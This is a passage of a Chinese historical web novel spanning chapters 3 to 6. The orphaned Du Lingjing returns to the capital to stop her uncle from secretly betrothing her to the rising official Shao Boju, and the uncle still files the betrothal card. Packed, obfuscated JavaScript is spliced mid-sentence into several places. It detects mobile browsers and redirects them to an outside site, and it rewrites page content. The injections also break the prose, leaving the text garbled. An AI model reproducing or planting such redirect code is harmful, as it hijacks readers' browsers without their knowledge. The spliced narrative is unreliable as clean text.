她连声请罪,“女儿也想给大姐把婚事办体面,但女儿没经过这样的事,且念着爹爹还想给大姐添妆几件,处处都是用钱的地方,顾得周全就顾不得细枝末节了。” 她正是杜家二姑娘杜润青。她母亲顾夫人重伤卧榻之后,家中庶务全由她撑了起来。 杜润青说着看了杜致祁一眼。 父亲官职不高,家中进项不多,开销却不小。大姐本就有嫁妆,若不用另给她添妆,还能省出不少钱,办得让父亲更体面些。 谁当家谁知柴米油盐贵。 杜致祁听见女儿这般说,才恍然想起世上没有两头顾全的好事。 他让人换一批像样的碗碟来,“器具置办了总有用上的时候”,但给侄女另外的添妆,他示意了女儿,“就算了吧,你伯父生前没少替她置办,想来是不缺的。” 杜润青见父亲虽这么说,可脸色还有些沉沉未定,负手往廊下走去。 杜润青小步跟了上来。 “爹莫怪女儿多言,女儿晓得爹的心思。” 杜致祁脚下一停,杜润青轻声道,“爹觉得这门和邵家的亲事,是瞒着大姐给她定下的,不免亏欠了她,所以想多给大姐添妆,以作补偿。” 这话正是说中了杜致祁的心思,他略感惊讶地看了女儿一眼。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084443|163533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这亲事,他原本是完全没想过的。 他大哥生前给侄女定好了婚事,可惜姑爷早逝,侄女守在老家打理书楼,也顺道将杜家的庶务一并担了,每岁还能给他送来不少银钱。他想她既然愿意留在家里,就随她去吧。 不想邵氏突然要同杜家联姻。 从前邵家名头不显,两家来往不多,如今邵家出了邵伯举这探花郎,更有邵贤妃所出的雍王为朝中文臣所拥,很可能入主东宫,邵氏立时炙手可热起来。 他年初回京候缺,一直没有合宜的位置,再让他往那些偏远凉地,做出不了头的属官,连个堂官都混不上,他实在做够了。 邵伯举可是圣前红人。雍王亲近,阁臣提携,不说大好前程在即,只说他娶了侄女,给自己这个做叔父的某个像样的官职,根本不在话下。 他怎么想怎么觉得这婚事好,然而侄女是个僻静却有主意的性子,同那蒋家三郎青梅竹马,情投意合,蒋竹修病逝后,她只避在竹林小院中与古书相伴,想让她再嫁,可不易说服。 谁料邵氏说此等婚事,想请皇上赐婚,就在中秋夜宴之际。只有圣旨落定,他哪里还需要说服侄女,侄女只能、也必须嫁给邵氏。 他当即做主应下了这桩婚事,可说到底,大哥大嫂都过世了,他却瞒着侄女给她定亲,多少心下难安。 还有一点便是,侄女是初嫁,但嫁过去却是继室。 邵伯举前有亡故的发妻,此番只是续弦。 这会被女儿说中,杜致祁抬手捏住了紧锁的眉头。 见父亲这般,杜润青径直开了口。 “您不该这般作想,爹爹此番,怎么能算亏欠大姐呢?” 她道,“蒋三哥过世后,大姐姐一味沉溺悲痛之中,不问尘事,孤身独行,对女子而言,这哪里是长久之计?反而爹爹这做叔父的,一心一意为她着想,替她做主定下这门显赫贵亲,根本就是出手救了她,谈何愧对伯父一家?” 这话倒说得杜致祁一怔。 这亲事,嫁的是圣前红人,得的是御口赐婚,放在旁人眼中求都求不来。他有什么好觉愧疚的? 女儿这番话,直说得他紧锁的心事松动起来。 这时有人来传话,道是二夫人陪嫁田庄上的管事顾九来了。 家中要操办大事,处处用人,只能从顾家借了顾九帮忙照看田庄。他不在田庄做事,踩着一路泥泞来京城里作甚? 父女二人皆奇怪,把顾九叫了过来,谁想顾九上前匆忙行了礼,开口就道。 “二老爷,二姑娘,大姑娘从青州来了。” 只这一句,把杜致祁惊得一愣,杜润青还以为自己听岔了。 “你确定你说得是,大姐从青州来京城了?” 顾九哪能说谎,他把先前菖蒲去了二夫人陪嫁田庄的事情说了,“... ...小人借口道路泥泞难走,想将大姑娘留在京外的田庄里。可这事说不准,万一大姑娘临时起意要来京城呢?” 杜致祁的脸发了青,“静娘怎么这个时候来了?”他连问那顾九,“她无缘无故来京做什么?” “说是来收书。” “收书怎么能一路收到京城来?”杜致祁难以相信。 他原想着,这桩婚事邵氏会请皇上赐婚,届时圣旨落定,侄女无论如何都要嫁过去,不需要他另外出面。 谁曾想中秋还没到,侄女就先来了。若是她闹起来,此事岂不是要黄? 杜致祁的眉头越压越深。 他心里一直难安,眼下侄女突然来京,不会是天意吧? 他神思略略一晃,却听女儿突然叫了他。 “爹不必费神忧虑。女儿倒觉得,一来大姐未必进京知晓此事,二来,若爹早些就把名牌递去宗人府,大姐就算知道了,还能讨出来不成?” 生米煮成熟饭,杜致祁竟忘了这茬。 “有理。” 再看女儿,杜致祁神色都和软了下来。 “我儿真是长大了,处处为家里着想。你大姐姐比你痴长八九岁,恐不如你良多。” 杜润青得了父亲夸赞,却愧不敢受,连连摇头。 “母亲受伤后,女儿当了这一年的家,才越发觉得爹爹不易,只想替爹分忧罢了。” 杜致祁一直在外任属官上打转,想做京官多年都不能得,心中郁郁难解,更添去岁妻子马车出事,人躺在床上不能再主事,还需得贵重药材源源不断地进补。 个中心酸,只有父女二人最清楚。 话说到此处,父女两人一时间都热了眼眶。 杜致祁难得似女儿幼时那样,摸了摸她的头发,杜润青则靠在了父亲的手臂上,酸了鼻头。 这次邵氏前来与杜家联姻,要娶杜泠静过门,这正是他们一改境况的机会,怎么能眼看着落空? 杜致祁挺起身来,深吸了一气。 他到自己今晚就将名帖写好,“明日一早,我便送去宗人府定下此事,必将此事办成!” 4. 第 4 章 “... ...邵氏要同杜家联姻之事,京中已有风声,但二老爷却让人瞒着咱们,等的就是十日之后,宫里中秋赐婚。” 阮恭说完,秋霖一双手都攥紧了。 “二老爷糊涂了?姑娘在青州打理老家庶务,哪年不是紧着二老爷,送许多钱过去。得钱的时候,未曾问过姑娘的事,眼下邵氏登门,他连问都不问就把姑娘定了出去!……” 秋霖愤愤之声被摇晃的笼灯照着,往稀薄的月色中溶去。 杜泠静抬头看着夜空层云间,难得露出的月影,连着起伏的燕山山脉,是青州没有的,独属于京城的美景。 她随父亲在京城八年,算是在京城长大。 最初她返回青州老家为祖父守制,心里还总念着这座少时乐土,想着什么时候才能回去。 但渐渐地,她从邸抄里、与旧友来往的书信里,还有父亲口中,听到京城来来往往地,换了许多人。 父亲阁臣在任时推行的新政,在他离京之后纷纷搁置又无声瓦解,京中那些与他们相熟的人都走了,便是少许留下的,也不再是当年模样。 京城,似乎已不再是她曾熟悉的那个地方。 之后父亲守孝结束,要回京复职。 她思来想去,同爹道,“爹爹当年的新政沉寂,看来新皇对新政并不看重,甚至不算赞成。既如此,爹爹回京恐怕也难似先帝在时,可一展宏图抱负。以女儿之见,祖父当年辞官还乡治学,未必不是最佳之选。” 父亲闻言非但不叹,反而笑起来。 “我儿真是直言不讳,这就替为父断言,必定是郁郁不得志了?” 她在爹面前,不必藏着掖着。 “爹难道不这般以为?” 她并没有过于悲观,说得都是事实。爹也笑着点了头。 “我儿所言不错,今上对爹爹当年新政,确是不认的。只是文人饱读诗书为官,岂是只为得君王赏识?我以为,天行有常,不为尧存,不为桀亡,读书做官图的,正是宋人那四句。” 那四句。 为天地立心,为生民立命,为往圣继绝学,为万世开太平。 杜泠静彼时默然。 爹所言不错,读书人图的就是那四句,可没有君王赏识,如何走到那四句上去。 爹拍了她的肩膀。 “就算不被赏识,也要去做,就算推行不动,也要去推。哪怕结果十中有九如你猜测,不还有那十分之一么?” 爹总是这样,敢冒天下之不韪。 她只能为爹爹收拾了行囊,爹爹让她留在老家继续打理勉楼,“我儿喜静,不去京城也罢”,说完独自上了这条回京之路。 然而她再没想到,父亲这一走,连京城都没到,就折损在了进京的路上…… 她再没念过这座城。 这争权攘利的是非之地,除了本就乐于浸淫于此的,还有父亲这样偏向虎山的人,谁会去呢? 她一路收了八部宋书到了京城门外,本也是准备停住脚步的,谁料却在城门外,听说了自己十日后的“大喜事”。 莫名地,她总觉得这前前后后,像是有一只看不了的手攀住了她,非要她进这京城... ... “姑娘?姑娘怎么还走神了?二老爷都要把姑娘送去给人续弦了。”秋霖急火都蹿了上来。 阮恭说此事眼下还没落定,“但若是二老爷及早地将名帖送进宗人府,就不好办了。” 两人都向她看了过来。 杜泠静眼帘垂落,又缓缓抬了起来。 “那便进京吧。” * 从正东的朝阳门进了城,晨起的京都踏着昨日残雨苏醒,人行渐密。 杜泠静一行赶在城门初开就进了城,刚从朝阳门大街转到崇文门里街,遇上了一众人簇拥着一位着绯色朝服的官员。 他于人群中鹤然而立,约莫刚下朝,众人纷纷向他行礼问安,又浅声问询今日朝事。 男人嗓音低沉,言语被人群阻隔。 杜泠静的视线只从车窗边缘一略而过,就吩咐了驾车的菖蒲,避开贵人,绕到灯市路上,再转至澄清坊的小巷里。 马车转了道,路边有人疑惑了一句,“那位侯爷怎么今晨下朝,往东城来了?怪稀罕的。” 说话的人未道清是哪位侯爷,马车也没有停下转走的车轮。 喧嚣渐起的道路上,着绯红绣麒麟朝服的男人浅说了两句,便辞过众人,翻身上马。 他目光扫过巷口,在马车翻飞的车帘前,轻轻落了一眼。 * 澄清坊杜府。 杜致祁往外书房取了昨晚写好的名帖。昨晚为了写这递去宗人府的名帖,他好生思量了许久。 这会用过早饭,他拿了名帖准备出门,杜润青过来送他到门前。 不想小厮也还没上前去喊门,却见守门的老门房颤颤巍巍地快步走出来,提前开了门。 这老门房从老太爷做官时,就在澄清坊杜府守门,又亲眼看着大老爷杜致礼从寻常官员,几年之间跃升阁臣。大老爷回乡守制之后,澄清坊杜家多年无人,直到去岁二夫人受伤来京养病,才又重新住进人来。 老门房上了年岁,上次杜致祁回家敲了半天的门,他都没听见。杜致祁不快,杜润青便道老门房耳聋眼花了,等这桩大喜事办完,有了空闲人手,就打发他去乡下庄子里。 可今日不知怎地,父女二人还没走上前去,竟见老门房匆促开了门。 但老门房没有转身来请二老爷的意思,反而扶着吱呀的老府门,往门外跨了去。 他苍老的嗓音少见的急切。 “姑娘?是姑娘回来了?” 这声姑娘叫得杜润青一愣,自己就在门内。 但下一息,一管清泠如泉的声音出现在门外,有人一步上前扶住了老迈的门房。 “文伯,是我,我回来了。” 府门吱吱呀呀地大开,来人站在门前,她披着件竹月色披风,晨风吹得她飘带如蝶舞,她扶住老文伯,文伯也颤着手握住了她。 “姑娘... ...终于回京城来了!” 杜泠静被这一声唤得眼角一酸。 她离京的时候,文伯还能替她往马车上抬箱子,还同她说着,守制结束仍跟着父亲回来,“姑娘多年没离过京,这一去怎习惯?” 一晃九载已过,文伯苍老得直不起弯曲的脊背,而父亲,早已离他们而去了。 她轻拭眼角,扶起激动不已的文伯往高阔的府门里走来,略一抬眼,看到了门内站着的人。 她长眉细秀,清眸如水,她抬眼向他们看了过来。 “叔父,二妹。多年未见可都安好?” 杜致祁和杜润青父女怔在了原地。 杜致祁没有直视侄女,负手避着目光,杜润青倒偷偷打量了这位陌生的长姐两眼。 长姐身姿高挑,竹月色披风下着一身影青色褙子并月白色缃裙,她立在被雨水冲洗干净的青石板上,仿佛是从云水中走出来人,清净不染,唯袖间飘出淡淡书香。 杜润青一时看住,直到杜泠静上前跟杜致祁行礼,她才连忙给长姐也见了礼。 阮恭和秋霖将置办的节礼送了过来。没人提起另外的话,杜润青赶忙叫了人奉茶,又亲自引着杜泠静往厅里去。 这府里一草一木,没人比杜泠静更加熟悉,她并不需要人引路,看着妹妹多年不见,已经从身量未足的小姑娘,长成了娉婷大姑娘模样,生着一张容长脸,颇有些顾家人明艳聪慧的相貌。 “二妹长高了许多,模样长开,气度愈加出众了。” 杜泠静夸赞了一句,杜润青心里却有些发紧,一时还不知如何回答,便听杜泠静道。 “二妹不必引路,我有些事,想先同叔父书房里商议。” 她说完,定定地看向了杜致祁。 若说父女二人方才还存几分侥幸之心,眼下全跌在了地上。 杜润青紧绷了神色看向父亲,而杜致祁则脸色难看地开了口。 “那便去书房吧。” ... ... 阔大的书房开了窗,书香之气呼呼挤出窗外,只剩下了寡淡的寂静。 杜泠静没有绕弯,直接开了口。 “听闻叔父为侄女相看了一门贵亲,侄女心领了。只是如日中天的探花郎,什么样的贵女娶不到,不知为何要突然与杜家结亲?” 杜致祁见侄女果然不愿,压着心里的烦躁。 “京中贵女虽多,但邵氏是续弦,杜氏门第合宜,而你年岁与他正相当,难道不是一桩良缘?” 邵伯举今岁二十四,刚好长她一岁,论起年齿确实合适。然高官显贵续弦,相差十岁二十岁都是寻常,年龄并不打紧。 杜泠静见叔父顾左右而言他,晓得他到了此时,还不想或能糊弄过去。 她笑着摇了摇头,“侄女觉得不算良缘,我早已与谦筠定下姻缘,姻缘既定,同旁人怎是良配?倒是二妹眼看着月余就要及笄,叔父缘何不让二妹同邵氏定亲?” 这话说得杜致祁心中烦躁,一下压不住了。 他不是没跟邵氏提过这层意思,但邵氏只要阁老独女。但凡他的润青能行,他需要指望侄女? 他脸色十分不好,也不想再跟侄女兜圈子。 “你父亲到底位至阁臣,邵家定你自然有他们的考量。” 他别过脸去,希望侄女懂些事,莫要再一味追问。 然而侄女又问过来,“可是叔父就没想过,邵氏奔着父亲的名头来,是想做什么?” “做什么?”杜致祁更恼了,“你也曾跟你爹读过许多年书,怎么连这都看不懂了?” 他道,“邵伯举是雍王表兄,雍王年岁最长,他想入主东宫就得朝臣、尤其是文臣一力支持。如今虽得了窦阁老襄助,但百尺竿头更进一步,他娶了你,从前追随杜家的人,便也到了雍王身侧。” 他一口气说完,瞪向侄女。 “你连这个都看不懂的话,乖顺听从我的安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杜家远离权势中心,只要不掺合,日后不管是雍王上位还是慧王登基,于杜家并无差别,反而新帝为了拉拢朝臣,杜家还另有希望。 杜泠静默然看着自己的叔父。 杜致祁缘何没有这等顾虑? 可他大哥过世后,曾经的新政流离,他这兄弟也如新政一般,被弃在了京外偏僻之地。 大哥在世时,不曾尽力助他升迁,大哥过世后,他却被冷落无法出头。 这次是邵家递来了过河枝,他岂有不抓住的道理? 至于往后... ...杜致祁心下一横,“既选了从龙之路,不论什么结果自有我这当家人承担。” “那叔父为整个杜家选了这条路,可有和杜家其他人商议?” 青州杜氏一族除了杜致祁,还有几位举人,甚至可能很快要出下一位进士。然而杜致祁为了瞒住侄女,哪里有把半分消息透给青州老家? 除了他,旁人根本不知晓。 杜泠静声音徐徐,但却似一把剪刀,直戳到了杜致祁最虚薄的心口。 他腾得站了起来,一把扫落了手边茶碗。茶碗坠地应声碎裂,杜致祁满脸青红。 “这杜家,到底是我做主,还是你杜泠静做主?!” 房内一片死寂,院中,阮恭几乎要冲进了门里来。 杜泠静目光越过窗子止住了他。 书房静悄悄的,格局并未大动,但杜泠静这才看到,父亲的书房同从前完全不一样了。 书案上没有父亲连声叫苦的高高案牍,窗下没有他为新政彻夜难眠时偶卧的躺椅,书架上他爱不释手的书被转到了边缘,连他插着画卷的瓷缸也被移到了墙角。 更不要说,父亲亲自给她启蒙的时候,特特给小小的她,打的一套圆圆胖胖的矮桌矮凳。 那时候,父亲还不是高官阁臣,还有闲暇的时间,每每见她写出像样的字来,便忍不住激动地将她高高抱着举起,“我的静娘真有文气!” 可她那时不懂,只一味提醒爹爹,“爹,女儿都大了,不能抱这么高了。” 爹用笑得不行,“才七岁,怎么就大了呢?便是十七岁,也是爹的小静娘!” 可是爹不会想得到,十七岁那年,她已没有爹了,再也没有了... ... 杜泠静目光掠过书房每片砖瓦,越细看,越捕捉不到父亲从前任何一点的印迹。 父亲走远了。 她忽然觉得这样很好。她不想让爹看到,他唯一的胞弟和他的女儿,在他生前的书房里争得面红耳赤。 若看到,爹会难过吧... ... 书房安静书房,窗外有细风吹进来,吹起书房内淡薄的书香。 杜泠静敛去心口漫出的酸意,眼眸微垂。 “侄女并无僭越之意。” 她缓了言语,杜致祁也不想真跟她闹僵,顺势坐了下来。 杜泠静略作思量,跟他再次开了口。 “侄女确实不欲另嫁三郎以外的任何人,但此番邵氏突然求娶,毫无征兆就想在中秋定下此事,就算要为雍王助力,也太过仓促。 “如此仓促,侄女反而以为,内里恐有我们不知的猫腻。” 这话让杜致祁抬了眼。 5. 第 5 章 这话令杜致祁忽的一顿。 从邵氏让人来探他意思到今日,满打满算不到一个月。再过几天,就是中秋了。 杜致祁心下快跳了几下,听见杜泠静又开了口。 “邵氏若只想寻杜家助力倒不怕,怕的是,他正同慧王一派斗法,又或者干脆事涉什么隐密,需要借杜家这点剩余的名头来填。” 杜致祁额头蒙蒙冒出了细密冷汗来。 杜家还剩什么,也就这点名头了。 他一直在外做官,拢共来京里不到半年,许多事确实看不清。不过他还是瞧得出来,雍王一系与慧王一党,龙争虎斗越演越烈,明面上看得见的,尚且不胜枚举,更不要提下面看不见的。 慧王年幼,或许不懂,贵妃久居深宫,也不便出手,但那永定侯陆慎如,岂是吃素的? 杜致祁突觉事情可能让他想简单了,脚下发虚,手扶椅背慢慢坐了下来。 杜泠静见状,反而起了身,正经同叔父行了一礼。 “同邵氏这门亲事,侄女不愿,此事亦暗藏不妥。还请叔父三思而后行。” 她躬身行礼,起身时见杜致祁没再不耐、恼火,反而似后知后觉一般,擦了擦额头上的汗,低声道了句,“知道了。” 杜泠静没再扰他思量,退出了书房。 秋霖和阮恭快步上前来,见姑娘微微颔了首,两人皆深吸一气镇定下来。 杜润青避在另一侧,从旁看着三人走远,端了茶水到书房门前。 她禀声入内,见杜致祁坐在圈椅上,一手支着额头,两指头捏在太阳穴上,沉默不言。 她不确定地问了一句,“爹,大姐和邵氏的婚事... ...” 话没说完被打断了去。 “好了,此事不要再提。” 杜润青一怔,还要说什么,见父亲已经示意她离去。 她只好放下茶盘退出去,听见父亲长长地叹了一声,好似把好不容易积蓄的精气神,都无望地叹了出来。 看来大姐说服了父亲,将这门亲事拒了。 分明昨日父亲还踌躇满志,今日便垂头丧气。 杜润青不晓得大姐都说了什么,但出书房时,见到青州来的车夫将马车停了进来,大姐身边的管事丫鬟,正指着人将行李拿进去。 杜润青这才想起,自己还没有给大姐安排下榻处。 去岁母亲受伤来京城休养,他们见正院处处妥帖,便就住进了正院里。因着是她照看母亲,母亲住在正房,她就住在了东厢。 东厢房古朴细致,她来时第一眼就看中了,不过东厢房似乎正是从前大姐在京时住了多年的地方。 杜润青念及心里一紧。 大姐会不会让她腾出东厢房?毕竟祖父时的小宅能变成如今阔大府邸,是伯父生前之功。 然而她却见搬行李的仆从,都往西路院里去了。 大姐没回正院,直接住去了西路偏院里。 杜润青微讪,却见衔接两院的月亮门后,大姐换了身衣裳走了过来。 “二妹,我来看看婶娘。” 杜润青连忙收了心思,引了她过去。 杜泠静的婶娘去岁上山拜佛时,马车在山上出了意外,车从山上崖边坠了下去,车夫和随行的两个丫鬟都没了,独独二夫人撞在了丫鬟身上,捡回一条命来。 这会杜泠静见二夫人静静地躺在帷帐之中,气血全无,不说不动,紧闭双眼。 “娘这病得多休养,多半时候都服了药难以醒来,一日也就有两三个时辰清醒,姐姐勿怪。” 杜泠静自不会怪,反而同杜润青道,“你操持家中,还要照料婶娘,委实辛苦了。” 杜润青低头摇头,“是我该做的。” 姐妹二人又说了几句,然而两人差着年岁,又没相处过,杜泠静见妹妹在自己面前并不想多言,便让秋霖留下了一匣子药材给顾氏,不再打扰离了去。 ... ... 之后的三日,杜府安静得似不曾发生任何事。 杜泠静独自住在西路偏院里,她记得父亲购置西路院的时候曾说,“以后你叔父也做了京官,这一路就给他住,院子建的阔大些,他家人口多,住起来舒坦。” 但叔父一直没做到京官,反而是她此番来京后,住进了这西路院里。 秋霖撩帘子进来,小声同她道了一句。 “奴婢特特瞧着二老爷没出门,一早就进了书房没出来,同前两日一样。” 今日是八月初十,距离中秋夜宴宫中赐婚,还有五日。 而今日则是宗人府接名帖的最后一日,今日一过,名帖就要送入宫中,再往宗人府去也来不及了。 秋霖恨不能睁开眼就盯着二老爷,一直盯到日头落到西山下。 “今日也没人来寻叔父吗?”杜泠静翻过一页书,日光照着竹影落在她的书页上。 秋霖说来了两个同年寻杜致祁吃酒,“不过二老爷没雅兴,人家便走了。” 送去宗人府的名帖可不能让人代送,弄岔了可是要出事的。二老爷没出门,便不可能送出去名帖。 秋霖还另外派了丫鬟艾叶,特特在书房旁紧盯着,但听见姑娘又问了一句。 “邵家的人,也没有过来寻叔父吗?” 这话问得秋霖肃正了神色。 她说没有,“还真没见到一点影子。” 她说着近到杜泠静身前,“姑娘不觉得奇怪吗?那邵探花同姑娘并不是不认识,他突然起意娶姑娘,怎么不使人先来探探姑娘的意思,反而寻到了二老爷这里。” 是,这正是奇怪之处。 杜泠静合起了手里的书。 邵伯举认识她,从前在京城就有过几面之缘。 父亲在京时颇为照料从前的同僚扈世伯的一双儿女。妹妹扈亭君与她同岁,与她情谊颇深,便是她回了青州还有书信往来不断。而哥哥扈廷澜则与邵伯举曾是同窗好友,相知相交多年,共进共退。 她因着扈氏兄妹认识邵伯举,此番邵伯举突然求娶,不走扈氏兄妹的路子,反而想要同叔父直接定下,难道不奇怪吗? 更何况,扈亭君同她两月前的书信中,可没提及此事。 昨日她已另给亭君写了书信。扈家在沧州,快马过去两日可打个来回。 ... ... 时过午间,府里也没有旁的动静。 日头每下山一寸,杜二老爷往宗人府递名帖的事就少一分可能。 前院杜致祁让人翻出经年的邸抄,在书房里烦闷地翻看; 仆从在准备中秋祭月的案台,暂时只摆在内院角落的树后; 杜润青则见了从顾家回来的人,她午间派人给她外祖母和舅舅送了节礼,这会人刚回来,她问了两句,就回了正房照顾她母亲二夫人... ... 整个杜家静得连雀儿都不敢随意啾鸣,将头深埋在翅膀里假寐。 秋霖见着日头越发西斜,暗暗松快不少。 只要二老爷没递名帖出去,姑娘的婚事不由宫里掌控,不必将姻缘掺合在这京城中,他们过些日就可以回青州了。 她同杜泠静道,“姑娘先前还说,这一口气收了八部古本,从青州一路到了京城门外,像是谁人故意引咱们来似得,颇为古怪。可要是没来京城,岂不是被瞒在鼓里了?” 杜泠静笑笑没言语,秋霖还要说句什么,这时,正院突然吵了起来—— 有人惊叫呼喊,有乱如麻的脚步声纷纷响起,接着有哭声和尖锐斥声传来。 杜泠静挑了眉,秋霖连忙问出了什么事,有小丫鬟来禀。 “二夫人方才从房内出来,一时没人照看,从石阶上摔下来,把头磕出血了!” 杜泠静连忙换了身衣裳去了正院。 正院气氛紧绷如暴雨过境前,丫鬟小厮没个敢出声说话,杜泠静快步走上前,丫鬟替她撩了帘子。 杜润青就坐在顾氏床前,手里拿着白巾,似想给她母亲擦掉额头上的血迹。而顾氏凹陷的脸颊满是血污,一双眼睛惊恐地乱转。 她见杜润青低声喊着“娘”,想拿白巾子替顾氏擦掉脸上的血,然而刚一靠近,顾氏忽的伸手一把拽住了她的领口,嘶喊起来。 “你是谁?!你想做什么?!” 秋霖跟在杜泠静身侧吓了一大跳,当即紧拉了姑娘的袖子,杜泠静立着未动,却见床前的二妹杜润青眼眶一红,她没在意二夫人的撕扯,反而抬手去抱了她。 “娘,是我,是青儿!您又不认识我了吗?您的头磕破了,我替您擦了血,包起来... ...” 二夫人神色恍恍惚惚,嘴里咕囔些什么让人听不清,半晌才看向自己女儿,“你是青儿?” 她说完这句,整个人都软瘫下来。杜润青还想唤她,她却突然往枕上倒下,双眼紧闭这晕厥过去了。 “娘!” “夫人!” 床前乱作一团。 秋霖紧攥着杜泠静的袖子,“姑娘,咱们... ...?” “快去请叔父过来。” 婶娘的情形比她料想得还不妙。 杜泠静肃声说完,听见杜致祁的声音已到了门外。 她上前行礼,杜致祁无暇顾及她,只问二夫人到底出了何事。 丫鬟们期期艾艾,说方才不知怎地都没在房中,二夫人睡醒后竟自己下了床,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084445|163533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路走到门口。 她认不清人了,见到院中仆从便惊问“你们都是什么人”,接着见仆从匆忙要来扶她,大喊着“别过来”,谁想惊慌中从石阶上掉了下来,额头恰磕在了花盆上。 杜致祁闻言,满脸铁青地厉声训斥了过去,丫鬟们惊扑了一地,杜泠静见杜润青握着她母亲的手一直哭。 直到杜致祁唤了她,“青儿别哭了,爹这就让人请郎中上门。” 他转头就去吩咐人就近请郎中来,但杜润青却叫了他。 “爹不觉得,娘病得越发厉害了吗?能不能、能不能请一位太医,再仔细替娘诊一诊?” 以杜致祁的官阶,如何立时请得来太医? 但杜润青的外祖母,顾氏的老太君万老夫人,却有时常问诊的太医。 杜致祁道了声好,这就吩咐人往顾府里去,“就说夫人受伤了,求老夫人拿帖子帮忙请位太医来!” ... ... 三刻钟不到,太医就来了,只是太医刚进门,门外又来了另外的客人。 杜致祁听闻大吃一惊,一边理着衣衫,一边急急迎上前去。 只见来人满头华发,通身气度雍容,但此刻脸色青白,双唇紧抿,由人扶着快步往里走来。 杜泠静见到来人暗暗惊讶。 “岳母大人,您、您怎么来了?!”叔父连问。 正是顾家老太君,顾夫人的娘家母亲,万老夫人。 然而万老夫人仿佛没听见杜致祁说话一般,全然没理会他,只一味往里走,直到见了太医,才缓下铁青脸色,满脸焦灼地问过去。 “小女这个癔症的毛病,怎么越来越厉害了?这般下去,怎么得了?” 太医沉眸,“老夫人莫急,老夫先细看一番再说不迟。” 诊病不可耽搁,万老夫人连声告谢请他先去。 院中静了一时,杜润青从房中出来,上前给她外祖母行礼,万老夫人揽了她在怀里。这一揽,小姑娘的眼泪漱漱掉了下来,紧贴在了外祖母怀中。 杜泠静也上前见礼,万老夫人抬眼看了她一眼,华发之下,眼帘只动三分。 “哦,大姑娘也来京了。” 杜泠静道是,规规矩矩地行了礼,立在了旁边。 这时杜致祁再上前,同岳母将事情前后说了,万老夫人这才理会了他,浅应了一声,并不多言。 杜泠静见着叔父战战兢兢,直到太医诊完走出房来。 众人连忙问及,太医却道,“诸位不必惊慌,夫人只是碰伤了额头,算不上大碍。至于癔症,瞧脉象并无越演越烈之意,今日之事多半是意外。” 太医这么说,众人皆松了口气。太医另为二夫人开了个新方子,杜润青细细收在怀中。杜致祁恭敬奉出诊金,万老夫人也客气了一番。 说话间,天色已经不早了,太医辞了去。 万老夫人自也不再多留,只是从头到尾脸色都没有太过好转,宁多同杜润青多说两句,也不与杜致祁多言。 杜泠静见叔父在旁尴尬不已,直到万老夫人要离去了,赶忙上前道,“今次实是女婿之过,我送您回去。” 万老夫人并不要他相送。杜致祁却哪敢留步,亦步亦趋地紧追在身后。 他往前院相送,小辈们则留在内院里。 杜润青这就让人去捡了药,将太医的新药方熬出来。只是待丫鬟捡了药来,她又不放心,转身同杜泠静道。 “大姐姐能不能帮我看着娘亲,我亲自去熬了药来。” 她双眼通红,眼里遍布血丝,杜泠静轻叹一气,缓缓点头。 “你放心去吧,婶娘我来照看。” “多谢大姐。” 杜润青跟她行了一礼就去了。 杜泠静坐在床沿瞧了瞧二夫人,想到婶娘从前最爱体面,怎会容许自己有半分丑态,如今却都顾不上了。 若不是顾家和万老夫人在京城,恐怕二夫人连命都难保。 秋霖倒是没想这个,只叹了一句,“万老夫人不亏是在宫里都有体面的人,真敢给二老爷脸色看。” 秋霖这句说完,见姑娘身形倏忽一顿。 她还未及问一句,丫鬟艾叶快步跑了进来。 “姑娘,二老爷去送了万老夫人,一刻钟了还没回来。” 话音未落,秋霖只见姑娘腾得站了起来。 她直叫阮恭,“速去宗人府!” 她已许久未见过姑娘有这般紧张冷肃的神色,然而阮恭去而复返,砰地跪在了地上。 “姑娘,小人去晚了一步,万老夫人的马车亲将二老爷送去了宗人府,我到的时候,二老爷已经把名帖... ...递进去了!” 6. 第 6 章 杜致祁回来的时候,日头于高高矮矮的帝城砖瓦下隐匿,四下里夜风吹动着刚点起的灯笼,四下里昏暗漫开。 老门房文伯迟迟不来开门,他也没再高声叫问,由着小厮开路,无甚动静地回府,径直留在外院。 方才他刚从宗人府的门内出来,就见阮恭快马急奔而来,但他已经先一步将名帖送了进去。 他一边心有余悸自己快了一时,一边也不想在宗人府门前,被侄女的管事拉扯着丢了脸面,连忙上了顾家的马车。 他跟着顾家的马车走了,阮恭自也不能再上前。 事已至此,名帖是不可能再讨出来了,之后邵家会请皇上做主赐婚,将两家亲事落定。 可事情虽这般定下,但与侄女之前所言背道,杜致祁到底还是怕她,再来找自己哭闹起来。 说到底,她是大哥留下的唯一血脉,叔侄二人闹得人尽皆知,岂不是丢脸? 他不禁低声问了仆从一声,“大姑娘在做什么?” 仆从回话,“大姑娘在西路院里。” “她可做什么了?” 奴仆不太明白,“姑娘没做什么,西院里安安静静的,还同前两日一样。” 杜致祁一怔。 她不是都知道了吗?这是... ...见事情无可转圜,认了? * 二夫人床前,杜润青手里的空药碗不知端了多久,神思不属的。 丫鬟瑞雪一句话,将她立时叫回了神来。 “姑娘,二老爷回来了。” “爹回来了?那名帖,送进去了吗?” 瑞雪还不清楚,“奴婢这就就打听。” 